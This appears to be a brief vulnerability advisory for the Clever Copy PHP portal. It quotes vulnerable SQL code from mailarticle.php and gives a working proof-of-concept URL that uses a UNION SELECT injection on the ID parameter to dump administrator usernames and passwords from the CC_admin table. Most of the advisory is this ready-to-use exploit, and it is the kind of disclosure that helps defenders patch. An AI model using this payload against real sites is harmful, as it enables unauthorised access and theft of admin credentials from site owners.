description: "Clever Copy is a free, fully scalable web site portal and news
posting system. It is easy to setup, use and maintain requiring no previous
knowledge of web portals, blogs, php, Cms's or databases [..]"

i) if magic_quotes_gpc = Off -> SQL injection
vulnerable code in mailarticle.php 11-12
...
$getnews="SELECT * from CC_news where entryid='$ID'";
$getnews2=mysql_query($getnews) or die("Could not get blog");
...
"ID" var is not properly sanitized before to be used in a SQL query, poc:
http://[target]/[path]/mailarticle.php?ID='UNION%20SELECT%200,0,0,0,0,0,username,password,0,0,0,0,0,0,0,0,0%20FROM%20CC_admin/*
now, at screen, you have admin authentication details
